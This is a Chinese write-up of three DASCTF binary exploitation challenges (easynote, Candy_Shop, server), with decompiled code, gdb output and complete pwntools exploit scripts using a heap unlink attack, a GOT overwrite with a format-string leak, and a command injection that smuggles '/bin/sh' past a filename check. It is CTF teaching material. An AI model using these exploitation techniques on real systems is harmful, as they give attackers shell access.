DASCTF二进制专项部分Writeup
easynote
create:堆大小可以任意分配只要不超过0xFFF
create()
unsigned __int64 create()
{
int i; // [rsp+0h] [rbp-20h]
unsigned int size; // [rsp+4h] [rbp-1Ch]
void *size_4; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; *(&chunk_ptr + i); ++i )
;
puts("The length of your content --->");
read(0, buf, 4uLL);
size = atoi(buf);
if ( size > 0xFFF )
{
puts("Are you kidding me?");
exit(0);
}
size_4 = malloc(size);
if ( !size_4 )
{
puts("Here something goes wrong!");
exit(0);
}
puts("Content --->");
read(0, size_4, size);
*(&chunk_ptr + i) = size_4;
return __readfsqword(0x28u) ^ v5;
}
delete:释放之后没做任何处理,存在UAF和Double Free。
delete()
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index --->");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
free(*(&chunk_ptr + v1));
puts("done");
return __readfsqword(0x28u) ^ v3;
}
edit:没有对索引进行处理,只要索引处是一个可写的地址就行,而且写入大小也是自己控制,可以伪造堆。
edit()
unsigned __int64 edit()
{
unsigned int v1; // [rsp+8h] [rbp-18h]
unsigned int nbytes; // [rsp+Ch] [rbp-14h]
char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Index --->");
read(0, &nbytes_4, 4uLL);
v1 = atoi(&nbytes_4);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
puts("The length of your content --->");
read(0, &nbytes_4, 4uLL);
nbytes = atoi(&nbytes_4);
puts("Content --->");
read(0, *(&chunk_ptr + v1), nbytes);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index --->");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
printf("Content: %s\n", (const char *)*(&chunk_ptr + v1));
puts("done");
return __readfsqword(0x28u) ^ v3;
}
解题思路:
1、创建三个堆块,第一个堆块大小要可以装下一个伪造的堆(不属于fastbin),后两个不属于fastbin就可以。编号:chunk0、chunk1、chunk2。
2、释放chunk0,利用show打印chunk0,获得main_arena+0x58的地址,main_arena的地址在malloc_trim函数里面。计算出libc的基址。
3、重新申请chunk0,写入伪造的堆块,将chunk1的 PREV_INUSE 置为0,释放chunk1,利用unlink修改指向chunk0的地址为伪造的堆块的fd。
4、往chunk_ptr里面写入__free_hook的地址,修改__free_hook为system,释放chunk3(chunk3内容为/bin/sh),获得shell。
需要注意的地方:
main_arena的地址查找
main_arena
gdb-peda$ heap
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x1209000
Size: 0xa1
fd: 0x7f658cb98b78
bk: 0x7f658cb98b78
Allocated chunk
Addr: 0x12090a0
Size: 0x90
Allocated chunk | PREV_INUSE
Addr: 0x1209130
Size: 0xb1
Top chunk | PREV_INUSE
Addr: 0x12091e0
Size: 0x20e21
gdb-peda$ x 0x7f658cb98b78
0x7f658cb98b78 <main_arena+88>: 0x00000000012091e0
malloc_trim
// 源码
int __malloc_trim(size_t s) {
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init();
mstate ar_ptr = &main_arena;
// IDA
__int64 __fastcall malloc_trim(__int64 a1) {
if ( dword_3C4144 < 0 )
sub_854D0();
v21 = 0;
v18 = &dword_3C4B20;
在libc-2.23,main_arena在__malloc_hook + 0x10处
.data:00000000003C4B10 public __malloc_hook ; weak
.data:00000000003C4B10 A0 58 08 00 00 00 00 00 __malloc_hook dq offset sub_858A0 ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18 00 00 00 00 00 00 00 00 align 20h
.data:00000000003C4B20 00 00 00 00 dword_3C4B20 dd 0
伪造的堆块需要满足的条件
伪chunk->fd->bk == P && 伪chunk->bk->fd == P(在C语言里面->表示左边的结构体变量的地址+右边成员在左边结构体的偏移量),说最简单些就是伪chunk的fd处的地址指向存在这个伪chunk的地址的地址减去bk(32位为0xC,64位为0x18),还是看图理解吧。

当释放chunk1时因为prev_inuse为0,会向上合并执行unlink,就会将0x0100处的值修改为fd(0x00E8)。这里如果想深入了解可以去阅读libc源码。
exp
from pwn import *
debug = 0
local = 0
host = "node4.buuoj.cn"
port = 27934
filename = "./pwn"
def malloc(size, data):
p.sendafter(b'5. exit\n', b'1')
p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
p.sendafter(b'Content --->\n', data)
def edit(index, size, data):
p.sendafter(b'5. exit\n', b'2')
p.sendafter(b'Index --->\n', f'{index}'.encode())
p.sendafter(b'The length of your content --->\n', f'{size}'.encode())
p.sendafter(b'Content --->\n', data)
def free(index):
p.sendafter(b'5. exit\n', b'3')
p.sendafter(b'Index --->\n', f'{index}'.encode())
def show(index):
p.sendafter(b'5. exit\n', b'4')
p.sendafter(b'Index --->\n', f'{index}'.encode())
p = process(filename) if not debug and local else gdb.debug(filename, "b main\nb *0x400C69") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("/root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so") if local else ELF('./libc-2.23.so')
chunk = 0x6020C0
malloc(0x98, b'A' * 0x8)
malloc(0x88, b'A' * 0x8)
malloc(0xA8, b'/bin/sh\x00')
free(0)
show(0)
p.recvuntil(b'Content: ')
main_arena_va = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00')) - 0x58
libcbase = main_arena_va - libc.sym['__malloc_hook'] - 0x10
system = libcbase + libc.sym['system']
free_hook = libcbase + libc.sym['__free_hook']
print(f'main_arena_va => {hex(main_arena_va)}')
print(f'libcbase => {hex(libcbase)}')
malloc(0x98, b'A' * 0x8) # free(): corrupted unsorted chunks
payload = p64(0) + p64(0x91) + p64(chunk - 0x18) + p64(chunk - 0x10)
payload = payload.ljust(0x90, b'\x00')
payload += p64(0x90) + p64(0x90)
edit(0, len(payload), payload)
free(1)
payload = p64(0) * 3 + p64(free_hook)
edit(0, 0x20, payload)
edit(0, 0x8, p64(system))
free(2)
p.interactive()
Candy_Shop
buy_canary:在写入canarys时,索引可以为负数,因为got表在canarys上面可以改写got表,但是要先改一下money(同样也在canarys上面)的值。
buy_canary()
unsigned __int64 buy_canary()
{
int v1; // [rsp+0h] [rbp-10h] BYREF
char v2[2]; // [rsp+6h] [rbp-Ah] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts(&s);
printf("You just have %d dollors\n", (unsigned int)money);
puts("(T)hree dollors a Krola");
puts("(t)wo dollors a Slania");
puts("(f)our dollors a Koparia");
printf("Which one you want to bye: ");
getstring(v2, 2LL);
if ( v2[0] == 84 && (unsigned int)money > 2 )
{
money -= 3;
}
else if ( v2[0] == 116 && (unsigned int)money > 1 )
{
money -= 2;
}
else
{
if ( v2[0] != 102 || (unsigned int)money <= 3 )
{
puts("You wanna fool me???");
exit(0);
}
money -= 4;
}
puts("Which pocket would you like to put the candy in?");
printf(": ");
__isoc99_scanf("%d", &v1);
if ( v1 > 2 )
exit(0);
puts("Give your candy a name!");
printf(": ");
getstring((char *)&canarys + 19 * v1, 19LL);
puts("Done!!!");
return v3 - __readfsqword(0x28u);
}
gift:存在格式化字符串漏洞,动态调试可以发现在调用printf时,RCX为write + 23,进而泄露libc地址。
if ( v3 )
{
puts("Give me your name: ");
getstring(format, 8LL);
printf("booooo!!!!\nyou have received a gift:");
printf(format);
puts(&s);
--v3;
}
解题思路:
利用buy_canary写入got表,修改memset为system,获得shell。
exp
from pwn import *
debug = 0
local = 0
host = "139.155.132.59"
port = 9999
filename = "./pwn"
def buy(index, data):
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendlineafter(b': ', data)
p = process(filename) if not debug and local else gdb.debug(filename, "b main\n b _buy_canary") if debug else remote(host, port)
elf = ELF(filename)
libc = ELF("./libc.so.6")
p.sendlineafter(b'option: ', b'g')
p.sendlineafter(b'Give me your name: \n', b'%3$p')
p.recvuntil(b'0x')
write = int(p.recvuntil(b'\n').strip().decode(), 16) - 23
libcbase = write - libc.sym['write']
printf = libcbase + libc.sym['printf']
system = libcbase + libc.sym['system']
print(f'write => {hex(write)}')
print(f'libcbase => {hex(libcbase)}')
print(f'printf => {hex(printf)}')
print(f'system => {hex(system)}')
p.sendlineafter(b'option: ', b'e') # 执行一次memset将memset地址绑定的got表,因为后面要利用memeset获得shell
buy(-2, b'\xFF' * 11)
buy(0, b'/bin/sh\x00')
payload = b'A' * 6 + p64(printf) + p64(system)[:-3]
# 这里不使用上面定义的buy是因为,需要把payload写入程序,长度正好是19如果多输入一个\n就会执行gift,还要输入其他内容。
index = -10
p.sendlineafter(b'option: ', b'b')
p.sendlineafter(b'Which one you want to bye: ', b't')
p.sendlineafter(b': ', f'{index}'.encode())
p.sendafter(b': ', payload)
p.sendlineafter(b'option: ', b'e')
p.interactive()
server
观察第一个函数里面的s和读入s字符串的长度,观察第二个函数的v1
仔细观察
unsigned __int64 sub_141A()
{
char s[32]; // [rsp+0h] [rbp-60h] BYREF
char name[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Hello, CTFer.");
puts("Please input the key of admin : ");
fgets(s, 28, stdin);
snprintf(name, 0x20uLL, "/keys/%s.key", s);
if ( access(name, 0) == -1 )
{
puts("Sorry, you are not winmt.");
}
else
{
puts("Hello, winmt.");
dword_404C = 1;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 sub_16B5()
{
char v1[16]; // [rsp+10h] [rbp-50h] BYREF
char s[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Hello, winmt.");
puts("Please input the username to add : ");
if ( (unsigned int)sub_14DA(v1) == -1 )
{
puts("Woc! You're a hacker!");
dword_404C = 0;
exit(-1);
}
snprintf(s, 0x30uLL, "add_user -u '%s' -p '888888'", v1);
system(s);
puts("Success!");
return __readfsqword(0x28u) ^ v3;
}
动态调试容易发现漏洞
snprintf只会保留指定长度的字符,输入长一些的字符串绕过access。
► 0x5633e609b495 call access@plt <access@plt>
name: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
type: 0x0
登录成功之后发现,两个函数的栈空间里面的变量有重叠的地方,在登录的时候构造合适的字符串,基本不过管第二个函数的过滤。
► 0x5633e609b73c call snprintf@plt <snprintf@plt>
s: 0x7ffe2d1f5b60 ◂— '/keys/../////////////////bin/sh'
maxlen: 0x30
format: 0x5633e609c102 ◂— "add_user -u '%s' -p '888888'"
vararg: 0x7ffe2d1f5b50 ◂— "'\n/bin/sh\n"
► 0x5633e609b748 call system@plt <system@plt>
command: 0x7ffe2d1f5b60 ◂— "add_user -u ''\n/bin/sh\n' -p '888888'"
exp
from pwn import *
debug = 0
local = 0
host = "node4.buuoj.cn"
port = 26010
filename = "./pwn_7"
p = process(filename) if not debug and local else gdb.debug(filename, "b alarm\nc\nd\nfinis") if debug else remote(host, port)
elf = ELF(filename)
p.sendlineafter(b'Your choice >> ', b'1')
p.sendlineafter(b'Please input the key of admin : \n', b'../////////////////bin/sh')
p.sendlineafter(b'Your choice >> ', b'2')
p.sendlineafter(b'Please input the username to add : \n', b"'")
p.sendline(b'cat flag')
p.interactive()
DASCTF二进制专项部分Writeup的更多相关文章
- 20190815网络与信息安全领域专项赛线上赛misc WriteUp
目录 签到题 题目内容 使用工具 解题步骤 七代目 题目下载地址 使用工具 解题步骤 亚萨西 题目下载链接 使用工具 解题步骤 24word 题目下载链接 使用工具 解题步骤 感想 几星期前报了名却完 ...
- ISCC2016 WriteUp
日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...
- 《C/C++专项练习》 — (3)
序 第三次C/C++专项.嗯,要抗住打击,继续加油~ 错题分析与总结 1 . 在64位系统中.有例如以下类: class A { public: void *p1; private: void *p2 ...
- We Chall-Training: Encodings I -Writeup
MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...
- 小Writeup
Misc 100 下载文件之后是一个zip压缩包.因为一开始没有给任何提示信息,题目也什么都没说,爆破了一会无果.同时不是伪加密,所以应该是明文攻击.之后官方给出提示,是一个网址. F12进入调试,发 ...
- bugku misc writeup(一个普通的压缩包)
这个题做了好几个小时,因为没有writeup,一点一点摸索,做题思路写出来给大家交流 首先这是一个zip.rar压缩包,下载下来第一步就是拖进hexeditor中观察,检查下文件的头尾结构是否有问题, ...
- BUGKU-逆向(reverse)-writeup
目录 入门逆向 Easy_vb Easy_Re 游戏过关 Timer(阿里CTF) 逆向入门 love LoopAndLoop(阿里CTF) easy-100(LCTF) SafeBox(NJCTF) ...
- 南邮ctf-web的writeup
WEB 签到题 nctf{flag_admiaanaaaaaaaaaaa} ctrl+u或右键查看源代码即可.在CTF比赛中,代码注释.页面隐藏元素.超链接指向的其他页面.HTTP响应头部都可能隐藏f ...
- CTF-i春秋网鼎杯第四场部分writeup
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
- 《C/C++专项练习》— (1)
前言 每每到了一周之计的Monday啊,精神总是不佳,写篇博客提提神儿吧~ 继上次完成<C/C++工程师综合练习卷>后,有事儿没事儿就想刷几道题,赶脚不错,巩固了不少基础知识呢,要坚持哦~ ...
随机推荐
- 使用 ApplicationContextAware 定义 SpringContextHolder 类
需求:使用 @autowired注入一些对象,但发现不可以直接使用@Autowired,因为方法是static的,要使用该方法当前对象也必须是static,正常情况下@Autowired无法注入静态的 ...
- Unity实现3D物体遮挡血条
Unity 实现3D物体遮挡血条 前言:在游戏开发中,我们经常会遇到UI和3D物体的层级遮挡问题,最常见的比如血条跟随敌人的时候,多个敌人的血条会遮挡住玩家或者3D物体,去网上查了一下也没有很好的解决 ...
- Linux无root权限conda初始化
pre { overflow-y: auto; max-height: 400px } img { max-width: 500px; max-height: 300px } 1. 给anaconda ...
- Windows11快捷键大集合+手动给程序添加快捷键
本文收集了170多个windows11上的快捷键,其中有少部分是windows11新添加的.大部分的win10快捷键也适用于win11.这些快捷键涵盖了系统设置.命令行程序执行.Snap布局切换.对话 ...
- [Linux/Git]比较两份文件的差异
Command vim -d fileA fileB 或 git diff <oldCommitId> <newCommitId> X Recommend Files Matc ...
- 10.CAS实现单点登录
1.总结: 昨天主要是了解和编写了CAS实现单点登录的代码: CAS实现单点登录的流程:用户访问资源服务器,先跳转到验证服务器验证身份通过后,认证服务器发送一个ticket给用户,用户拿着ticket ...
- 【转载】使用IntelliJ IDEA 14和Maven创建java web项目
安装Maven 下载安装 去maven官网下载最新版(传送门 密码: gfi1) 解压到安装目录. 配置 右键桌面的计算机图标,属性–>高级系统设置–>环境变量,添加M2_HOME的环境 ...
- ES日志存储以及备份压缩到COS
导语 为了满足用户日益增长的日志存储大小,不影响用户的写入和查询性能.满足不同用户写入流量.同时用户日志长期保存,日志存储比较占用空间和成本.ES集群规格配置高,消耗资源和成本.我们基于Go语言设计了 ...
- 用PHPstudy nginx 配置tp6 隐藏访问链接中的index.php
在server 里面加上如下这个判断就好了 if (!-e $request_filename){ rewrite ^(.*)$ /index.php?s=$1 last; break; 配置在对应网 ...
- 读《mysql是怎样运行的》有感
最近读了一本书<mysql是怎样运行的>,读完后在大体上对mysql的运行有一定的了解.在以前,我对mysql有以下的为什么: InnoDB中的表空间.段.区和页是什么? redo log ...